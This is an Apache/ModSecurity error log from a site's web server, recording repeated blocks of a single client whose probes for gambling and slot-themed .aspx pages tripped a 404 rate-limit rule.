[Tue Mar 17 07:06:54.698391 2026] [:error] [pid 45915:tid 45947] [client 51.83.238.207:49578] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "abiNDph7U84ydzcrcncPHwAAABI"]
[Tue Mar 17 07:07:11.994610 2026] [:error] [pid 22541:tid 22549] [client 51.83.238.207:49596] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "abiNH6S6JNY1-CTsTA8FSwAAAQM"]
[Tue Mar 17 07:07:12.101214 2026] [:error] [pid 22541:tid 22557] [client 51.83.238.207:48264] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "abiNIKS6JNY1-CTsTA8FTAAAAQs"]
[Tue Mar 17 07:07:12.717318 2026] [:error] [pid 22541:tid 22564] [client 51.83.238.207:49612] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sa%20casino.aspx"] [unique_id "abiNIKS6JNY1-CTsTA8FTQAAARI"]
[Tue Mar 17 07:07:14.954407 2026] [:error] [pid 22541:tid 22553] [client 51.83.238.207:60558] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "abiNIqS6JNY1-CTsTA8FTwAAAQc"]
[Tue Mar 17 07:07:15.359562 2026] [:error] [pid 45917:tid 46002] [client 51.83.238.207:60562] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "abiNIxMMhmeqL5fT_hedaQAAAI0"]
[Tue Mar 17 07:07:16.174236 2026] [:error] [pid 22541:tid 22558] [client 51.83.238.207:60568] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "abiNJKS6JNY1-CTsTA8FUAAAAQw"]
[Tue Mar 17 07:07:17.613840 2026] [:error] [pid 45917:tid 45999] [client 51.83.238.207:60580] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "abiNJRMMhmeqL5fT_hedbQAAAIo"]
[Tue Mar 17 07:07:18.059174 2026] [:error] [pid 45917:tid 45989] [client 51.83.238.207:60584] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "abiNJhMMhmeqL5fT_hedbgAAAIA"]
[Tue Mar 17 07:07:18.646608 2026] [:error] [pid 45917:tid 46004] [client 51.83.238.207:46814] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "abiNJhMMhmeqL5fT_hedbwAAAI8"]
[Tue Mar 17 07:07:18.917036 2026] [:error] [pid 45917:tid 45990] [client 51.83.238.207:46826] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "abiNJhMMhmeqL5fT_hedcQAAAIE"]
[Tue Mar 17 07:07:19.051497 2026] [:error] [pid 22541:tid 22560] [client 51.83.238.207:46804] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "abiNJ6S6JNY1-CTsTA8FVwAAAQ4"]
[Tue Mar 17 07:07:20.921309 2026] [:error] [pid 45917:tid 46002] [client 51.83.238.207:46842] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "abiNKBMMhmeqL5fT_hedegAAAI0"]
[Tue Mar 17 07:07:21.202674 2026] [:error] [pid 45917:tid 45997] [client 51.83.238.207:46858] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "abiNKRMMhmeqL5fT_hedewAAAIg"]
[Tue Mar 17 07:07:21.718429 2026] [:error] [pid 45917:tid 45992] [client 51.83.238.207:46874] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "abiNKRMMhmeqL5fT_hedfQAAAIM"]
[Tue Mar 17 07:07:22.065102 2026] [:error] [pid 46020:tid 46035] [client 51.83.238.207:46882] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20777.aspx"] [unique_id "abiNKn-nCcd9BdzGdLcaWgAAAM0"]
[Tue Mar 17 07:07:22.954590 2026] [:error] [pid 45915:tid 45929] [client 51.83.238.207:46884] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "abiNKph7U84ydzcrcncPJgAAAAA"]
[Tue Mar 17 07:07:24.322649 2026] [:error] [pid 46020:tid 46024] [client 51.83.238.207:46902] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "abiNLH-nCcd9BdzGdLcaXQAAAMI"]
[Tue Mar 17 07:07:24.696815 2026] [:error] [pid 45915:tid 45945] [client 51.83.238.207:46900] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "abiNLJh7U84ydzcrcncPKQAAABA"]
[Tue Mar 17 07:07:25.650410 2026] [:error] [pid 46020:tid 46037] [client 51.83.238.207:46914] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "abiNLX-nCcd9BdzGdLcaYwAAAM8"]
[Tue Mar 17 07:07:27.479429 2026] [:error] [pid 46020:tid 46041] [client 51.83.238.207:46922] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20888.aspx"] [unique_id "abiNL3-nCcd9BdzGdLcaawAAANM"]
[Tue Mar 17 07:07:27.640114 2026] [:error] [pid 46020:tid 46034] [client 51.83.238.207:46942] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "abiNL3-nCcd9BdzGdLcabAAAAMw"]
[Tue Mar 17 07:07:28.204013 2026] [:error] [pid 22541:tid 22558] [client 51.83.238.207:46930] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/royal%20slot.aspx"] [unique_id "abiNMKS6JNY1-CTsTA8FYwAAAQw"]
[Tue Mar 17 07:07:28.852486 2026] [:error] [pid 22541:tid 22556] [client 51.83.238.207:43178] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "abiNMKS6JNY1-CTsTA8FZQAAAQo"]
[Tue Mar 17 07:07:30.456430 2026] [:error] [pid 45917:tid 46012] [client 51.83.238.207:43192] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "abiNMhMMhmeqL5fT_hediwAAAJc"]
[Tue Mar 17 07:07:31.226700 2026] [:error] [pid 22541:tid 22550] [client 51.83.238.207:43206] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "abiNM6S6JNY1-CTsTA8FbgAAAQQ"]
[Tue Mar 17 07:07:31.258934 2026] [:error] [pid 22541:tid 22552] [client 51.83.238.207:43200] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sa%20casino.aspx"] [unique_id "abiNM6S6JNY1-CTsTA8FcAAAAQY"]
[Tue Mar 17 07:07:32.335456 2026] [:error] [pid 45917:tid 45992] [client 51.83.238.207:43228] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "abiNNBMMhmeqL5fT_hedkgAAAIM"]
[Tue Mar 17 07:07:32.574172 2026] [:error] [pid 22541:tid 22548] [client 51.83.238.207:43218] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/royal%20slot.aspx"] [unique_id "abiNNKS6JNY1-CTsTA8FcwAAAQI"]
[Tue Mar 17 07:07:34.500265 2026] [:error] [pid 22541:tid 22567] [client 51.83.238.207:43236] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "abiNNqS6JNY1-CTsTA8FegAAARU"]
[Tue Mar 17 07:07:34.831767 2026] [:error] [pid 22541:tid 22561] [client 51.83.238.207:43252] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "abiNNqS6JNY1-CTsTA8FfQAAAQ8"]
[Tue Mar 17 07:07:35.025290 2026] [:error] [pid 45915:tid 45948] [client 51.83.238.207:43256] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "abiNN5h7U84ydzcrcncPLAAAABM"]
[Tue Mar 17 07:07:35.738109 2026] [:error] [pid 22541:tid 22553] [client 51.83.238.207:43270] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sa%20casino.aspx"] [unique_id "abiNN6S6JNY1-CTsTA8FhAAAAQc"]
[Tue Mar 17 07:07:36.714611 2026] [:error] [pid 22541:tid 22555] [client 51.83.238.207:43276] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "abiNOKS6JNY1-CTsTA8FhQAAAQk"]
[Tue Mar 17 07:07:38.300954 2026] [:error] [pid 22541:tid 22552] [client 51.83.238.207:60386] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "abiNOqS6JNY1-CTsTA8FiAAAAQY"]
[Tue Mar 17 07:07:38.376348 2026] [:error] [pid 45916:tid 45973] [client 51.83.238.207:60396] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "abiNOriS53PnClk_C9AC8AAAAEs"]
[Tue Mar 17 07:07:38.444452 2026] [:error] [pid 45917:tid 46006] [client 51.83.238.207:60410] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "abiNOhMMhmeqL5fT_hednQAAAJE"]
[Tue Mar 17 07:07:39.845659 2026] [:error] [pid 45917:tid 45996] [client 51.83.238.207:60416] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "abiNOxMMhmeqL5fT_hedoQAAAIc"]
[Tue Mar 17 07:07:40.274744 2026] [:error] [pid 22541:tid 22563] [client 51.83.238.207:60422] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "abiNPKS6JNY1-CTsTA8FiwAAARE"]
[Tue Mar 17 07:07:41.536410 2026] [:error] [pid 22541:tid 22559] [client 51.83.238.207:60428] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20777.aspx"] [unique_id "abiNPaS6JNY1-CTsTA8FkQAAAQ0"]
[Tue Mar 17 07:07:42.481635 2026] [:error] [pid 22541:tid 22566] [client 51.83.238.207:60460] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "abiNPqS6JNY1-CTsTA8FmQAAARQ"]
[Tue Mar 17 07:07:42.781442 2026] [:error] [pid 45917:tid 45991] [client 51.83.238.207:60444] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/royal%20slot.aspx"] [unique_id "abiNPhMMhmeqL5fT_hedpQAAAII"]
[Tue Mar 17 07:07:43.144432 2026] [:error] [pid 46020:tid 46023] [client 51.83.238.207:60472] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "abiNP3-nCcd9BdzGdLcaeAAAAME"]
[Tue Mar 17 07:07:44.450140 2026] [:error] [pid 22541:tid 22562] [client 51.83.238.207:60488] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20888.aspx"] [unique_id "abiNQKS6JNY1-CTsTA8FoAAAARA"]
[Tue Mar 17 07:07:45.176697 2026] [:error] [pid 46020:tid 46045] [client 51.83.238.207:60496] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "abiNQX-nCcd9BdzGdLcagAAAANc"]
[Tue Mar 17 07:07:45.992251 2026] [:error] [pid 46020:tid 46036] [client 51.83.238.207:60522] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "abiNQX-nCcd9BdzGdLcaggAAAM4"]
[Tue Mar 17 07:07:46.218044 2026] [:error] [pid 45917:tid 46007] [client 51.83.238.207:60512] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20777.aspx"] [unique_id "abiNQhMMhmeqL5fT_hedpgAAAJI"]
[Tue Mar 17 07:07:47.460063 2026] [:error] [pid 45917:tid 46003] [client 51.83.238.207:60552] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sa%20casino.aspx"] [unique_id "abiNQxMMhmeqL5fT_hedqQAAAI4"]
[Tue Mar 17 07:07:47.475504 2026] [:error] [pid 45917:tid 45998] [client 51.83.238.207:60536] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "abiNQxMMhmeqL5fT_hedqgAAAIk"]
[Tue Mar 17 07:07:48.991927 2026] [:error] [pid 22541:tid 22561] [client 51.83.238.207:39412] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "abiNRKS6JNY1-CTsTA8FpwAAAQ8"]
[Tue Mar 17 07:07:49.812309 2026] [:error] [pid 46020:tid 46028] [client 51.83.238.207:39420] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20888.aspx"] [unique_id "abiNRX-nCcd9BdzGdLcaiQAAAMY"]
[Tue Mar 17 07:07:50.173492 2026] [:error] [pid 45917:tid 45994] [client 51.83.238.207:39424] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "abiNRhMMhmeqL5fT_hedtgAAAIU"]
[Tue Mar 17 07:07:50.894378 2026] [:error] [pid 46020:tid 46045] [client 51.83.238.207:39428] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "abiNRn-nCcd9BdzGdLcaigAAANc"]
[Tue Mar 17 07:07:52.346127 2026] [:error] [pid 45915:tid 45944] [client 51.83.238.207:39430] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "abiNSJh7U84ydzcrcncPNgAAAA8"]
[Tue Mar 17 07:07:53.434805 2026] [:error] [pid 45915:tid 45948] [client 51.83.238.207:39432] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "abiNSZh7U84ydzcrcncPNwAAABM"]
